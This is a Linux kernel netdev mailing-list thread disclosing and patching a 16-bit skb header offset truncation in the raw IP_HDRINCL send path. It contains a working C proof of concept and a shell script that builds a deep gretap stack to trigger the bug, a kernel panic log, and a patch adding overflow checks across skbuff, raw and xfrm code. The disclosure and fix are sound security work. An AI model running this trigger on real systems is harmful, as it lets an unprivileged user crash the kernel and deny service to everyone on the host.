* [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate
@ 2026-07-29 18:40 Zihan Xi
2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi
0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-07-29 18:40 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, willemb,
jlayton, gustavoars, michael.bommarito, runyu.xiao, kees,
lirongqing, vega, zihanx
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv4/raw.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing
skb header offsets in 16-bit fields. The skb header offsets are 16-bit values
since commit 1a37e412a022 ("net: Use 16bits for *_headers fields of struct
skbuff"), and U16_MAX is also the unset sentinel for transport_header.
With a deep gretap stack, the effective hard_header_len + needed_headroom can
grow to 65534 and LL_RESERVED_SPACE() rounds that up to 65536. On the IPv4
hdrincl path, skb_reserve(skb, hlen) followed by skb_reset_network_header(skb)
stores skb->data - skb->head in the 16-bit network_header field. When hlen
reaches 65536, that stored offset truncates to 0. raw_send_hdrinc() then copies
the userspace IPv4 header to ip_hdr(skb) at the wrapped offset, and the
malformed skb later crashes in eth_header() during the raw send path.
IPv4 also has a second boundary at hlen + iphlen, because the transport header
is advanced by the user-controlled IPv4 header length. The lower-level issue is
more general than raw.c itself: once an skb already contains large 16-bit
header offsets, later positive skb header offset updates can wrap those values
or turn transport_header into the U16_MAX sentinel.
The initial raw route is not the only place that matters. LOCAL_OUT can reroute
the skb, XFRM can add dst->header_len, and LWT or other output paths can grow
or copy the skb state later. A raw-only final callback check or a
pskb_expand_head()-only guard is therefore too narrow. The fix keeps the raw
hdrincl initial bounds, rejects later positive skb header offset updates in
net/core/skbuff.c before they would overflow the stored 16-bit values, and also
rejects later transport_header recomputations in net/xfrm/xfrm_output.c before
they would overflow or hit the U16_MAX sentinel.
A related public proposal titled "net: reject IP sends with excessive
headroom" exists, but it is not a previous version of this series. It
rejects selected IP output callers before they store large offsets; this
patch instead keeps the raw HDRINCL entry checks and also validates later
positive skb header offset updates.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
The inline poc.c is only the raw sender. For the reproduced crash, run the
wrapper below instead so that the gretap stack and the default g1560 interface
used by poc.c are created first:
chmod +x poc.sh
unshare -Urn ./poc.sh
On the fixed kernel, the same isolated trigger path returns
sendto: Invalid argument instead of crashing.
We did not switch this reproducer to packetdrill because the core trigger
requires creating and chaining a very deep gretap device stack first, while
packetdrill is not a good fit for expressing that netdevice construction
workflow.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static uint16_t ip_checksum(const void *buf, size_t len)
{
const uint8_t *p = buf;
uint32_t sum = 0;
while (len > 1) {
sum += ((uint32_t)p[0] << 8) | p[1];
p += 2;
len -= 2;
}
if (len)
sum += (uint32_t)p[0] << 8;
while (sum >> 16)
sum = (sum & 0xffffU) + (sum >> 16);
return (uint16_t)~sum;
}
int main(int argc, char **argv)
{
static const char payload[] = "ABCD";
const char *ifname = argc > 1 ? argv[1] : "g1560";
const char *dst_str = argc > 2 ? argv[2] : "192.0.2.2";
const char *src_str = argc > 3 ? argv[3] : "192.0.2.1";
struct sockaddr_in dst = {
.sin_family = AF_INET,
};
struct iphdr iph = {
.version = 4,
.ihl = 5,
.tos = 0,
.tot_len = htons(sizeof(struct iphdr) + sizeof(payload) - 1),
.id = htons(0x1234),
.frag_off = 0,
.ttl = 64,
.protocol = 253,
.check = 0,
};
unsigned char packet[sizeof(iph) + sizeof(payload) - 1];
int fd;
ssize_t n;
if (inet_pton(AF_INET, src_str, &iph.saddr) != 1) {
fprintf(stderr, "bad src %s\n", src_str);
return 1;
}
if (inet_pton(AF_INET, dst_str, &iph.daddr) != 1) {
fprintf(stderr, "bad dst %s\n", dst_str);
return 1;
}
if (inet_pton(AF_INET, dst_str, &dst.sin_addr) != 1) {
fprintf(stderr, "bad sockaddr dst %s\n", dst_str);
return 1;
}
iph.check = ip_checksum(&iph, sizeof(iph));
memcpy(packet, &iph, sizeof(iph));
memcpy(packet + sizeof(iph), payload, sizeof(payload) - 1);
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd < 0) {
perror("socket");
return 1;
}
{
int one = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt(IP_HDRINCL)");
close(fd);
return 1;
}
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ifname,
strlen(ifname) + 1) < 0) {
perror("setsockopt(SO_BINDTODEVICE)");
close(fd);
return 1;
}
}
n = sendto(fd, packet, sizeof(packet), 0,
(struct sockaddr *)&dst, sizeof(dst));
if (n < 0) {
perror("sendto");
close(fd);
return 1;
}
printf("sent %zd bytes via %s to %s\n", n, ifname, dst_str);
close(fd);
return 0;
}
------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DEPTH="${DEPTH:-1560}"
TOP="g${DEPTH}"
if ip route show default 2>/dev/null | grep -q .; then
echo "run inside an isolated netns, e.g. unshare -n $0 or unshare -Urn $0" >&2
exit 1
fi
ip link add dummy0 type dummy
ip link set dummy0 up mtu 100000
lower="dummy0"
i=1
while [ "$i" -le "$DEPTH" ]; do
a=$(( (i / 250) % 250 + 1 ))
b=$(( i % 250 + 1 ))
lip="10.${a}.${b}.1"
rip="10.${a}.${b}.2"
ip link add "g${i}" type gretap local "${lip}" remote "${rip}" dev "${lower}" key 1
lower="g${i}"
i=$((i + 1))
done
ip link set "${TOP}" up
ip addr add 192.0.2.1/24 dev "${TOP}"
ip neigh replace 192.0.2.2 lladdr 02:11:22:33:44:55 nud permanent dev "${TOP}"
exec ./poc "${TOP}" 192.0.2.2 192.0.2.1
------END poc.sh--------
The crash log below is taken from the local decode_stacktrace.sh
output on the latest selected baseline, and this refreshed decode
now resolves the key frames to file:line locations.
----BEGIN crash log----
[ 52.208710] BUG: unable to handle page fault for address: ffffa3986611fffe
[ 52.220274] #PF: supervisor write access in kernel mode
[ 52.228822] #PF: error_code(0x0002) - not-present page
[ 52.239552] PGD 73065067 P4D 73065067 PUD 0
[ 52.249792] Oops: Oops: 0002 [#1] SMP NOPTI
[ 52.257276] CPU: 0 UID: 0 PID: 491 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c-dirty #2 PREEMPT(lazy)
[ 52.275220] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 52.313650] RIP: 0010:eth_header (net/ethernet/eth.c:86)
[ 52.420112] RSP: 0018:ffffa39840b8b640 EFLAGS: 00010246
[ 52.431246] RAX: ffffa3986611fff2 RBX: 0000000000000000 RCX: 0000000000000014
[ 52.445426] RDX: 000000000000000e RSI: 0000000000000000 RDI: ffff98744c7cb5f8
[ 52.460207] RBP: 000000000e000000 R08: 00000000ffffa398 R09: 0000000000000000
[ 52.474828] R10: 0000000000000000 R11: 0000000000000000 R12: 000000000000000e
[ 52.490089] R13: 0000000000000014 R14: ffff98744c7cb5f8 R15: ffffa3986611fff2
[ 52.585894] Call Trace:
[ 52.588953] <TASK>
[ 52.591902] neigh_resolve_output+0xe3/0x1c0
[ 52.597910] ip_finish_output2+0x156/0x510
[ 52.603665] ip_output+0xb9/0x170
[ 52.616159] raw_sendmsg (net/ipv4/raw.c:677)
[ 52.638531] __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[ 52.643321] __x64_sys_sendto+0x1f/0x30
[ 52.648330] do_syscall_64+0xf9/0x540
[ 52.653123] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 52.998357] Kernel panic - not syncing: Fatal exception
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
net: skbuff: reject skb header offset updates that truncate
include/linux/skbuff.h | 28 ++++++++++++
net/core/skbuff.c | 94 ++++++++++++++++++++++++++++++++++++++---
net/ipv4/esp4_offload.c | 15 ++++---
net/ipv4/raw.c | 4 ++
net/ipv6/esp6_offload.c | 15 ++++---
net/ipv6/raw.c | 4 ++
net/xfrm/xfrm_device.c | 38 ++++++++++++-----
net/xfrm/xfrm_iptfs.c | 6 ++-
net/xfrm/xfrm_output.c | 21 ++++++---
9 files changed, 189 insertions(+), 36 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread
* [PATCH net 1/1] net: skbuff: reject skb header offset updates that truncate
2026-07-29 18:40 [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
@ 2026-07-29 18:40 ` Zihan Xi
2026-07-31 2:10 ` Jakub Kicinski
2026-07-31 12:07 ` Dan Carpenter
0 siblings, 2 replies; 4+ messages in thread
From: Zihan Xi @ 2026-07-29 18:40 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, willemb,
jlayton, gustavoars, michael.bommarito, runyu.xiao, kees,
lirongqing, vega, zihanx
raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
storing skb header offsets in 16-bit fields. If the reserved headroom
grows past the representable range, skb_reset_network_header() truncates
the stored offset and the hdrincl path later copies the user header to
the wrong location.
On IPv4 this can also happen after the user header is copied, because the
transport header is advanced by iphlen. The value U16_MAX itself is not a
valid transport header offset either, because it is used as the unset
sentinel.
The initial raw route is not the only place that matters. LOCAL_OUT can
reroute the skb, XFRM can add dst->header_len, and LWT or other output
paths can grow the skb head later. More generally, positive calls into
skb_headers_offset_update() can wrap these 16-bit offsets, while later
paths that recompute transport_header from network_header can still
overflow it or turn it into the U16_MAX sentinel.
Reject hdrincl sends when the initial reserved LL headroom cannot fit in
the skb header offset fields, and reject later positive skb header offset
updates or transport-header recomputations before they would overflow the
stored 16-bit values.
Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
include/linux/skbuff.h | 28 ++++++++++++
net/core/skbuff.c | 94 ++++++++++++++++++++++++++++++++++++++---
net/ipv4/esp4_offload.c | 15 ++++---
net/ipv4/raw.c | 4 ++
net/ipv6/esp6_offload.c | 15 ++++---
net/ipv6/raw.c | 4 ++
net/xfrm/xfrm_device.c | 38 ++++++++++++-----
net/xfrm/xfrm_iptfs.c | 6 ++-
net/xfrm/xfrm_output.c | 21 ++++++---
9 files changed, 189 insertions(+), 36 deletions(-)
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 22eda1d54..51cd63566 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -3126,6 +3126,34 @@ static inline void skb_set_transport_header(struct sk_buff *skb,
skb->transport_header += offset;
}
+static inline bool __must_check
+skb_set_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+ if (unlikely(offset < 0 || offset >= U16_MAX))
+ return false;
+ if (unlikely(skb->network_header >= U16_MAX - offset))
+ return false;
+
+ skb->transport_header = skb->network_header + offset;
+ return true;
+}
+
+static inline bool __must_check
+skb_transport_header_add_careful(struct sk_buff *skb, const int offset)
+{
+ if (unlikely(offset > 0)) {
+ if (unlikely(!skb_transport_header_was_set(skb)))
+ return false;
+ if (unlikely(offset >= U16_MAX))
+ return false;
+ if (unlikely(skb->transport_header >= U16_MAX - offset))
+ return false;
+ }
+
+ skb->transport_header += offset;
+ return true;
+}
+
static inline unsigned char *skb_network_header(const struct sk_buff *skb)
{
return skb->head + skb->network_header;
diff --git a/net/core/skbuff.c b/net/core/skbuff.c
index ba3dbac80..1752f6abe 100644
--- a/net/core/skbuff.c
+++ b/net/core/skbuff.c
@@ -387,6 +387,8 @@ u32 napi_skb_cache_get_bulk(void **skbs, u32 n)
}
EXPORT_SYMBOL_GPL(napi_skb_cache_get_bulk);
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off);
+
static inline void __finalize_skb_around(struct sk_buff *skb, void *data,
unsigned int size)
{
@@ -976,7 +978,11 @@ int skb_pp_cow_data(struct page_pool *pool, struct sk_buff **pskb,
skb_put(nskb, size);
head_off = skb_headroom(nskb) - skb_headroom(skb);
- skb_headers_offset_update(nskb, head_off);
+ err = skb_headers_offset_update_careful(nskb, head_off);
+ if (err) {
+ consume_skb(nskb);
+ return err;
+ }
off = size;
len = skb->len - off;
@@ -2140,6 +2146,61 @@ void skb_headers_offset_update(struct sk_buff *skb, int off)
}
EXPORT_SYMBOL(skb_headers_offset_update);
+static bool skb_header_offset_overflow(unsigned int offset, int add)
+{
+ if (add <= 0)
+ return false;
+ if (add > U16_MAX)
+ return true;
+
+ return offset > U16_MAX - add;
+}
+
+static bool skb_transport_header_offset_overflow(unsigned int offset, int add)
+{
+ if (add <= 0)
+ return false;
+ if (add >= U16_MAX)
+ return true;
+
+ return offset >= U16_MAX - add;
+}
+
+static bool skb_headers_offset_overflow(const struct sk_buff *skb, int off)
+{
+ if (skb_header_offset_overflow(skb->network_header, off))
+ return true;
+ if (skb_transport_header_was_set(skb) &&
+ skb_transport_header_offset_overflow(skb->transport_header, off))
+ return true;
+ if (skb_mac_header_was_set(skb) &&
+ skb_header_offset_overflow(skb->mac_header, off))
+ return true;
+ if (skb_header_offset_overflow(skb->inner_transport_header, off))
+ return true;
+ if (skb_inner_network_header_was_set(skb)) {
+ if (skb_header_offset_overflow(skb->inner_network_header, off))
+ return true;
+ if (skb_header_offset_overflow(skb->inner_mac_header, off))
+ return true;
+ }
+ if (skb->ip_summed == CHECKSUM_PARTIAL &&
+ skb_header_offset_overflow(skb->csum_start, off))
+ return true;
+
+ return false;
+}
+
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off)
+{
+ if (skb_headers_offset_overflow(skb, off))
+ return -EOVERFLOW;
+
+ skb_headers_offset_update(skb, off);
+
+ return 0;
+}
+
void skb_copy_header(struct sk_buff *new, const struct sk_buff *old)
{
__copy_skb_header(new, old);
@@ -2304,6 +2365,9 @@ int pskb_expand_head(struct sk_buff *skb, int nhead, int ntail,
BUG_ON(skb_shared(skb));
+ if (skb_headers_offset_overflow(skb, nhead))
+ return -EOVERFLOW;
+
skb_zcopy_downgrade_managed(skb);
if (skb_pfmemalloc(skb))
@@ -2541,7 +2605,10 @@ struct sk_buff *skb_copy_expand(const struct sk_buff *skb,
skb_copy_header(n, skb);
- skb_headers_offset_update(n, newheadroom - oldheadroom);
+ if (skb_headers_offset_update_careful(n, newheadroom - oldheadroom)) {
+ kfree_skb(n);
+ return NULL;
+ }
return n;
}
@@ -4680,7 +4747,7 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
unsigned int delta_len = 0;
struct sk_buff *tail = NULL;
struct sk_buff *nskb, *tmp;
- int len_diff, err;
+ int head_off, len_diff, err;
/* Only skb_gro_receive_list generated skbs arrive here */
DEBUG_NET_WARN_ON_ONCE(!(skb_shinfo(skb)->gso_type & SKB_GSO_FRAGLIST));
@@ -4732,8 +4799,17 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
len_diff = skb_network_header_len(nskb) - skb_network_header_len(skb);
__copy_skb_header(nskb, skb);
- skb_headers_offset_update(nskb, skb_headroom(nskb) - skb_headroom(skb));
- nskb->transport_header += len_diff;
+ head_off = skb_headroom(nskb) - skb_headroom(skb);
+ err = skb_headers_offset_update_careful(nskb, head_off);
+ if (unlikely(err)) {
+ nskb->next = list_skb;
+ goto err_list;
+ }
+ if (unlikely(!skb_transport_header_add_careful(nskb, len_diff))) {
+ err = -EOVERFLOW;
+ nskb->next = list_skb;
+ goto err_list;
+ }
skb_copy_from_linear_data_offset(skb, -tnl_hlen,
nskb->data - tnl_hlen,
offset + tnl_hlen);
@@ -4759,9 +4835,11 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
return skb;
err_linearize:
+ err = -ENOMEM;
+err_list:
kfree_skb_list(skb->next);
skb->next = NULL;
- return ERR_PTR(-ENOMEM);
+ return ERR_PTR(err);
}
EXPORT_SYMBOL_GPL(skb_segment_list);
@@ -4961,7 +5039,9 @@ struct sk_buff *skb_segment(struct sk_buff *head_skb,
__copy_skb_header(nskb, head_skb);
- skb_headers_offset_update(nskb, skb_headroom(nskb) - headroom);
+ err = skb_headers_offset_update_careful(nskb, skb_headroom(nskb) - headroom);
+ if (unlikely(err))
+ goto err;
skb_reset_mac_len(nskb);
skb_copy_from_linear_data_offset(head_skb, -tnl_hlen,
diff --git a/net/ipv4/esp4_offload.c b/net/ipv4/esp4_offload.c
index abd77162f..075999b95 100644
--- a/net/ipv4/esp4_offload.c
+++ b/net/ipv4/esp4_offload.c
@@ -138,7 +138,8 @@ static struct sk_buff *xfrm4_transport_gso_segment(struct xfrm_state *x,
struct sk_buff *segs = ERR_PTR(-EINVAL);
struct xfrm_offload *xo = xfrm_offload(skb);
- skb->transport_header += x->props.header_len;
+ if (!skb_transport_header_add_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
ops = rcu_dereference(inet_offloads[xo->proto]);
if (likely(ops && ops->callbacks.gso_segment))
segs = ops->callbacks.gso_segment(skb, features);
@@ -155,14 +156,17 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
const struct net_offload *ops;
u8 proto = xo->proto;
- skb->transport_header += x->props.header_len;
+ if (!skb_transport_header_add_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
if (x->sel.family != AF_INET6) {
if (proto == IPPROTO_BEETPH) {
struct ip_beet_phdr *ph =
(struct ip_beet_phdr *)skb->data;
- skb->transport_header += ph->hdrlen * 8;
+ if (!skb_transport_header_add_careful(
+ skb, ph->hdrlen * 8))
+ return ERR_PTR(-EOVERFLOW);
proto = ph->nexthdr;
} else {
skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -170,8 +174,9 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
} else {
__be16 frag;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (!skb_transport_header_add_careful(
+ skb, ipv6_skip_exthdr(skb, 0, &proto, &frag)))
+ return ERR_PTR(-EOVERFLOW);
if (proto == IPPROTO_TCP)
skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV4;
}
diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c
index 7f74d8b95..16354bf76 100644
--- a/net/ipv4/raw.c
+++ b/net/ipv4/raw.c
@@ -356,6 +356,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
goto out;
hlen = LL_RESERVED_SPACE(rt->dst.dev);
+ if (hlen >= U16_MAX - sizeof(struct iphdr))
+ return -EINVAL;
tlen = rt->dst.dev->needed_tailroom;
skb = sock_alloc_send_skb(sk,
length + hlen + tlen + 15,
@@ -399,6 +401,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
err = -EINVAL;
if (iphlen > length || iphlen < sizeof(*iph))
goto error_free;
+ if (hlen >= U16_MAX - iphlen)
+ goto error_free;
if (iphlen >= sizeof(*iph)) {
if (!iph->saddr)
diff --git a/net/ipv6/esp6_offload.c b/net/ipv6/esp6_offload.c
index 22895521a..d074ad7da 100644
--- a/net/ipv6/esp6_offload.c
+++ b/net/ipv6/esp6_offload.c
@@ -174,7 +174,8 @@ static struct sk_buff *xfrm6_transport_gso_segment(struct xfrm_state *x,
struct sk_buff *segs = ERR_PTR(-EINVAL);
struct xfrm_offload *xo = xfrm_offload(skb);
- skb->transport_header += x->props.header_len;
+ if (!skb_transport_header_add_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
ops = rcu_dereference(inet6_offloads[xo->proto]);
if (likely(ops && ops->callbacks.gso_segment))
segs = ops->callbacks.gso_segment(skb, features);
@@ -191,7 +192,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
const struct net_offload *ops;
u8 proto = xo->proto;
- skb->transport_header += x->props.header_len;
+ if (!skb_transport_header_add_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
if (x->sel.family != AF_INET6) {
skb->transport_header -=
@@ -201,7 +203,9 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
struct ip_beet_phdr *ph =
(struct ip_beet_phdr *)skb->data;
- skb->transport_header += ph->hdrlen * 8;
+ if (!skb_transport_header_add_careful(
+ skb, ph->hdrlen * 8))
+ return ERR_PTR(-EOVERFLOW);
proto = ph->nexthdr;
} else {
skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -212,8 +216,9 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
} else {
__be16 frag;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (!skb_transport_header_add_careful(
+ skb, ipv6_skip_exthdr(skb, 0, &proto, &frag)))
+ return ERR_PTR(-EOVERFLOW);
}
if (proto == IPPROTO_IPIP)
diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c
index b88d364e7..fa223ec02 100644
--- a/net/ipv6/raw.c
+++ b/net/ipv6/raw.c
@@ -15,6 +15,7 @@
*/
#include <linux/errno.h>
+#include <linux/limits.h>
#include <linux/types.h>
#include <linux/socket.h>
#include <linux/slab.h>
@@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
if (flags&MSG_PROBE)
goto out;
+ if (hlen >= U16_MAX)
+ return -EINVAL;
+
skb = sock_alloc_send_skb(sk,
length + hlen + tlen + 15,
flags & MSG_DONTWAIT, &err);
diff --git a/net/xfrm/xfrm_device.c b/net/xfrm/xfrm_device.c
index f153bf695..f005f1e3b 100644
--- a/net/xfrm/xfrm_device.c
+++ b/net/xfrm/xfrm_device.c
@@ -20,7 +20,7 @@
#include <linux/notifier.h>
#ifdef CONFIG_XFRM_OFFLOAD
-static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
@@ -30,30 +30,34 @@ static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
skb->transport_header -= x->props.header_len;
pskb_pull(skb, skb_transport_offset(skb) + x->props.header_len);
+ return true;
}
-static void __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
- if (xo->flags & XFRM_GSO_SEGMENT)
- skb->transport_header = skb->network_header + hsize;
+ if (xo->flags & XFRM_GSO_SEGMENT &&
+ !skb_set_transport_header_careful(skb, hsize))
+ return false;
skb_reset_mac_len(skb);
pskb_pull(skb,
skb->mac_len + x->props.header_len - x->props.enc_hdr_len);
+ return true;
}
-static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
int phlen = 0;
- if (xo->flags & XFRM_GSO_SEGMENT)
- skb->transport_header = skb->network_header + hsize;
+ if (xo->flags & XFRM_GSO_SEGMENT &&
+ !skb_set_transport_header_careful(skb, hsize))
+ return false;
skb_reset_mac_len(skb);
if (x->sel.family != AF_INET6) {
@@ -63,10 +67,11 @@ static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
}
pskb_pull(skb, skb->mac_len + hsize + (x->props.header_len - phlen));
+ return true;
}
/* Adjust pointers into the packet when IPsec is done at layer2 */
-static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
+static bool xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
{
switch (x->outer_mode.encap) {
case XFRM_MODE_IPTFS:
@@ -98,6 +103,8 @@ static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
case XFRM_MODE_IN_TRIGGER:
break;
}
+
+ return true;
}
static inline bool xmit_xfrm_check_overflow(struct sk_buff *skb)
@@ -175,7 +182,12 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
if (!skb->next) {
esp_features |= skb->dev->gso_partial_features;
- xfrm_outer_mode_prep(x, skb);
+ if (!xfrm_outer_mode_prep(x, skb)) {
+ XFRM_INC_STATS(xs_net(x),
+ LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+ kfree_skb(skb);
+ return NULL;
+ }
xo->flags |= XFRM_DEV_RESUME;
@@ -201,7 +213,13 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
xo = xfrm_offload(skb2);
xo->flags |= XFRM_DEV_RESUME;
- xfrm_outer_mode_prep(x, skb2);
+ if (!xfrm_outer_mode_prep(x, skb2)) {
+ XFRM_INC_STATS(xs_net(x),
+ LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+ skb2->next = nskb;
+ kfree_skb_list(skb2);
+ return NULL;
+ }
err = x->type_offload->xmit(x, skb2, esp_features);
if (!err) {
diff --git a/net/xfrm/xfrm_iptfs.c b/net/xfrm/xfrm_iptfs.c
index 597aedeac..13b62bcd9 100644
--- a/net/xfrm/xfrm_iptfs.c
+++ b/net/xfrm/xfrm_iptfs.c
@@ -2379,7 +2379,8 @@ static int iptfs_encap_add_ipv4(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -(x->props.header_len - x->props.enc_hdr_len));
skb->mac_header = skb->network_header + offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ip_hdr(skb);
top_iph->ihl = 5;
@@ -2426,7 +2427,8 @@ static int iptfs_encap_add_ipv6(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len + x->props.enc_hdr_len);
skb->mac_header = skb->network_header + offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ipv6_hdr(skb);
top_iph->version = 6;
diff --git a/net/xfrm/xfrm_output.c b/net/xfrm/xfrm_output.c
index cc35c2fcb..0cebe752c 100644
--- a/net/xfrm/xfrm_output.c
+++ b/net/xfrm/xfrm_output.c
@@ -73,7 +73,8 @@ static int xfrm4_transport_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + ihl;
+ if (!skb_set_transport_header_careful(skb, ihl))
+ return -EOVERFLOW;
__skb_pull(skb, ihl);
memmove(skb_network_header(skb), iph, ihl);
return 0;
@@ -179,7 +180,8 @@ static int xfrm6_transport_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_mac_header(skb,
(prevhdr - x->props.header_len) - skb->data);
skb_set_network_header(skb, -x->props.header_len);
- skb->transport_header = skb->network_header + hdr_len;
+ if (!skb_set_transport_header_careful(skb, hdr_len))
+ return -EOVERFLOW;
__skb_pull(skb, hdr_len);
memmove(ipv6_hdr(skb), iph, hdr_len);
return 0;
@@ -209,7 +211,8 @@ static int xfrm6_ro_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_mac_header(skb,
(prevhdr - x->props.header_len) - skb->data);
skb_set_network_header(skb, -x->props.header_len);
- skb->transport_header = skb->network_header + hdr_len;
+ if (!skb_set_transport_header_careful(skb, hdr_len))
+ return -EOVERFLOW;
__skb_pull(skb, hdr_len);
memmove(ipv6_hdr(skb), iph, hdr_len);
@@ -241,7 +244,8 @@ static int xfrm4_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb->network_header += IPV4_BEET_PHMAXLEN;
skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
xfrm4_beet_make_header(skb);
@@ -288,7 +292,8 @@ static int xfrm4_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ip_hdr(skb);
top_iph->ihl = 5;
@@ -335,7 +340,8 @@ static int xfrm6_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
skb->mac_header = skb->network_header +
offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
